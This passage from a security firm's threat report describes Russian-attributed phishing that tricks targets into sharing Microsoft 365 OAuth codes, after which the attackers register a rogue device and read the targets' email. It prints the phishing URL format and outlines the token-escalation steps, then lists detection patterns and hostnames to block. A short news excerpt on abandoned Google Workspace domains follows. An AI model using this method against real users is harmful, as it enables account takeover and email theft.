This yields a blank page when rendered in the user’s browser. The attacker must request that the user share the URL from their browser in order for the attacker to obtain the code.
UTA0355: Phishing via Compromised Ukrainian Government Account
Then, in early April 2025, Volexity identified another new Microsoft 365 OAuth phishing campaign. This time, the campaign started with an email from a legitimate, compromised Ukrainian Government email account, which was then followed by messages sent via Signal and WhatsApp. The emails and follow-up messages invited targets to join a video conference related to Ukraine's efforts "to investigate and prosecute atrocity crimes, as well as the country’s cooperation with international partners in this field.”
As with previous OAuth phishing techniques that Volexity has reported, the ultimate intention of this campaign is to use the legitimate Microsoft 365 authentication API to gain access to the victim’s email data. However, in this campaign, the attacker uses the stolen OAuth authorization code to register a new device to the victim’s Microsoft Entra ID (formerly Azure Active Directory) on a permanent basis. After registering the device in Entra ID, the attacker then needs to further socially engineer the target into approving a two-factor authentication request in order to gain access to the victim’s email.
While this campaign uses similar techniques to those employed by UTA0352, Volexity currently tracks these attacks separately and attributes this activity to a threat actor it has labeled UTA0355.
Multi-stage Social Engineering
Unlike the attacks that Volexity observed from UTA0352, this new phishing campaign started with an email that was sent to multiple targets. The email invited the targets to a video conference and included the event details. The email did not include any links or instructions, but it did solicit interest from the recipient on if they wished to attend. However, despite the initial outreach coming via email, Volexity found that UTA0355 quickly followed up with each recipient via Signal or WhatsApp, referencing the email that was sent, likely to add legitimacy to their messaging.
Volexity believes that UTA0355 only sent the email from the compromised Ukrainian Government account to individuals for whom it had out-of-band contact information. This was likely to facilitate real-time conversations to assist with social engineering efforts, and to keep information outside of email where it could more easily be discovered or later examined.
The initial email that was sent to various targets is shown in the image below.
![]()
Not long after this email was sent to various targets, the follow-up message from UTA0355 referencing the email was sent via Signal or WhatsApp; an example of which is shown below.
![]()
OAuth Phishing and the Device Registration Service
Like other OAuth phishing techniques, the one used in this campaign involved direct interaction with the victim to have them click a link and supply a code back to the attacker. This code is then sought by the attacker and used to obtain illicit access to M365 resources.
Victim Interaction
If the target responded to the message UTA0355 sent via Signal or WhatsApp, they would be sent an M365 login URL to click; the URL format is shown below:
https://login.microsoftonline.com/common/oauth2/authorize?url=https://teams.microsoft.com/[redacted]&client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&resource=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9&response_type=code&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2FWebApp%2FCloudDomainJoin%2F8&amr_values=ngcmfa&login_hint=<email@address.here>
After the victim logged in via the shared Microsoft URL, they would be redirected to a new URL that contained an OAuth authorization code within the URL. The attacker included additional instructions indicating the victim should share the URL they see in their address bar after the redirect occurs. The URL generated by the victim’s browser, and subsequently returned to UTA0355, follows the format below:
https://login.microsoftonline.com/WebApp/CloudDomainJoin/8?code=[redacted]&session_state=[redacted]
By sharing this URL with the attacker, the victim would unknowingly hand over all the information required to authenticate as themselves. This is similar to other observed and suspected attack campaigns. And again, this does require the target to both click a link and send back a code or URL. However, the victim is only ever asked to interact with legitimate Microsoft 365 services, which users may inherently see as trustworthy. Additionally, it may not immediately appear obvious to a user that sharing data from their address bar, or from text displayed on a legitimate Microsoft webpage, would facilitate granting an attacker access to their M365 account.
UTA0355 OAuth Abuse
The URL the victim would share with the attacker includes a code parameter containing an OAuth authorization code, which would then be used to grant access tokens. Unlike similar previous campaigns, the resource requested in the initial login is not access to the Microsoft Graph API; instead, it is for the Device Registration Service. This service is used by Windows to join new devices to Entra ID. The attacker would use this access to join a new device named DESKTOP-[redacted] to the victim’s Entra ID. Volexity was able to use the ROADTools project to replicate these steps, and followed this guide to create a new token with full permissions for Microsoft Graph API access. This technique uses a flaw in the Entra ID API design to grant an access token with a greater level of access than that initially granted.
After the initial interaction had taken place, and UTA0355 had registered their device with the victim’s Microsoft Entra ID (Azure AD), Volexity observed an additional interaction with the victim. In this interaction, UTA0355 requested that the victim approve a two-factor authentication (2FA) request to “gain access to a SharePoint instance associated with the conference”. This was required to bypass additional security requirements, which were put in place by the victim’s organization, in order to gain access to their email.
Post-compromise Activity
Volexity assesses with high confidence that the attacker required the victim to approve a 2FA request to access email items. In logs reviewed by Volexity, initial device registration was successful shortly after interacting with the attacker. Access to email data occurring the following day, which was when UTA0355 had engineered a situation where their 2FA request would be approved. Once access was granted, logs showed the attacker downloaded the target’s email using a session tied to the newly registered device.
The login activity, email access, and device registration all took place using a client IP address belonging to a proxy network that was geolocated to where the victim was located.
Detecting Related Activity
To generally prevent or detect these attacks, Volexity recommends the following:
- Consider alerting on M365 login activity where the Visual Studio Code
client_idvalueaebc6443-996d-45c2-90f0-388ff96faa5is used in combination with aresourceDisplayNamecontaining “Microsoft Graph”. Depending on your environment and the usage of Visual Studio Code, this may or may not be feasible, as legitimate users will also login using thisclient_id. - Consider alerting on the following URL format (either embedded in email or proxy logs). Note that the parameters in the URL can appear in any order, and that the
redirect_urivalues must be set toinsiders.vscode.dev/redirectorvscode-redirect.azurewebsites.net:
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?state=[any_url]&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&scope=https://graph.microsoft.com/.default&response_type=code&login_hint=[email]&redirect_uri=https://insiders.vscode.dev/redirecthttps://login.microsoftonline[.]com/common/oauth2/authorize?redirect=[any_url]&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&resource=https://graph.microsoft.com&response_type=code&redirect_uri=https://vscode-redirect.azurewebsites.net&login_hint=[email]&ui_locales=en-US&mkt=en-US&client-request-id=[removed]
- Evaluate the business impact associated with blocking access to the
insiders.vscode[.]devandvscode-redirect.azurewebsites.nethostnames and consider implementing such blocks. - Educate users about the risks associated with new and unknown contacts established through secure messaging platforms. It is crucial that users understand the importance of verifying the identities of contacts that reach out via Signal, WhatsApp, or other secure messaging platforms. Verification should be done out-of-band instead of trusting information provided via unsolicited or unexpected outreach.
- Consider looking for newly registered devices, and correlate with registering IP addresses to look for low-reputation or proxy IP addresses appearing in the
ClientIPAddress.- Be aware that ongoing access to the user’s email via the Microsoft Graph API will not contain an attacker IP address in the
ClientIPAddressfield; instead, it contains a Microsoft IP address. This behavior does not appear to be documented and is counterintuitive to security analysis. - While attacker activity cannot easily be tracked via the
ClientIPAddressfield, Volexity was able to track attacker activity based on the unique deviceId value associated with the device that was registered by the attacker. - The
ClientAppIDfield for ongoing access may differ from the user’s typical email client, as it will use an AppID corresponding to one created by the attacker.
- Be aware that ongoing access to the user’s email via the Microsoft Graph API will not contain an attacker IP address in the
- Consider implementing conditional access policies that restrict access to organizational resources to only approved or managed devices. This can be effective at preventing device registration and unauthorized access to other resources such as email.
- At the time of publication, Volexity is not aware of a way to block specific first-party Microsoft apps via conditional access policies. Conditional access can be used to block access to all services for non-compliant devices; however, this may prove challenging for organizations to implement in a short timeframe.
- It should also be noted that Microsoft Teams was one of the resources Volexity also observed UTA0352 targeting. It is not likely reasonable or feasible for most organizations to block this, if it were even possible.
Conclusion
Motivated threat actors will continuously look for new ways to circumvent security controls and gain access to resources using new methods that are not well known to users or cyber defense teams. This latest series of attacks marks the second time since January 2025 that Russian threat actors have blitzed little-known techniques to obtain access to M365 resources. Volexity surmises that these attacks targeting NGOs, Think Tanks, and human rights defenders may be ramping up in order to capitalize on the current situation these individuals and organizations are facing in the form of budget cuts and reduced staffing.
Similar to the Device Code Authentication phishing campaigns that Volexity reported in February 2025, these recent campaigns benefit from all user interactions taking place on Microsoft’s official infrastructure; there is no attacker-hosted infrastructure used in these attacks. Similarly, these attacks do not involve malicious or attacker-controlled OAuth applications for which the user must explicitly grant access (and thus could easily be blocked by organizations). The use of Microsoft first-party applications that already have consent granted has proven to make prevention and detection of this technique rather difficult.
Organizations should train users to be highly vigilant when it comes to unsolicited contact, especially if it arrives via secure messaging apps and request that users click links or open attachments. Further, for this specific type of attack to be successful, the attacker must request that the user send back a URL or code from the link they clicked on. This tactic is not something users are typically trained to be aware of and should be added to an organization's users' security awareness training.
At this time, Volexity notes that NGOs, organizations related to human rights and providing aid and humanitarian assistance, and those with ties to Ukraine are likely the most at risk and potential targets of these campaigns. And while this threat activity is ongoing in limited targeted attacks, Volexity expects that this method of attack will continue and may become more widespread. Therefore, organizations should broadly warn users about this type of attack.
Finally, all messages attributed to UTA0352 and UTA0355 were themed around Ukraine, and targeted numerous individuals and organizations that have historically been targeted by Russian threat actors. Based on this, and the use of similar tactics observed in February 2025, Volexity assesses with medium confidence that both UTA0352 and UTA0355 are Russian threat actors. It is unclear if they are working in coordination or have overlaps with Volexity's previous reporting.
INVESTIGATIVE ASSISTANCE
If any organization or individual believes they may have been targeted by UTA0352, UTA0355, or in a similar attack, please feel free to reach out to Volexity via our contact form. We would be glad to assess any potential targeting and assist in determining if such an attack may have succeeded.
Acknowledgements
Volexity would like to thank its customers for their vigilance, cooperation, hard work, and dedication to defending human rights. Volexity would also like to thank the MIL.CERT-UA of the Ministry of Defence of Ukraine for their ongoing assistance and cooperation.
The post Phishing for Codes: Russian Threat Actors Target Microsoft 365 OAuth Workflows appeared first on Volexity.
-
Arstechnica

-
Startup necromancy: Dead Google Apps domains can be compromised by new owners
Lots of startups use Google’s productivity suite, known as Workspace, to handle email, documents, and other back-office matters. Relatedly, lots of business-minded webapps use Google’s OAuth, i.e. “Sign in with Google.” It’s a low-friction feedback loop—up until the startup fails, the domain goes up for sale, and somebody forgot to close down all the Google stuff. Dylan Ayrey, of Truffle Security Co., suggests in a report that this problem is more serious than anyone, especially Google, is ackno
Startup necromancy: Dead Google Apps domains can be compromised by new owners
Lots of startups use Google’s productivity suite, known as Workspace, to handle email, documents, and other back-office matters. Relatedly, lots of business-minded webapps use Google’s OAuth, i.e. “Sign in with Google.” It’s a low-friction feedback loop—up until the startup fails, the domain goes up for sale, and somebody forgot to close down all the Google stuff.
Dylan Ayrey, of Truffle Security Co., suggests in a report that this problem is more serious than anyone, especially Google, is acknowledging. Many startups make the critical mistake of not properly closing their accounts—on both Google and other web-based apps—before letting their domains expire.
Given the number of people working for tech startups (6 million), the failure rate of said startups (90 percent), their usage of Google Workspaces (50 percent, all by Ayrey’s numbers), and the speed at which startups tend to fall apart, there are a lot of Google-auth-connected domains up for sale at any time. That would not be an inherent problem, except that, as Ayrey shows, buying a domain with a still-active Google account can let you re-activate the Google accounts for former employees.


© Aurich Lawson | Getty Images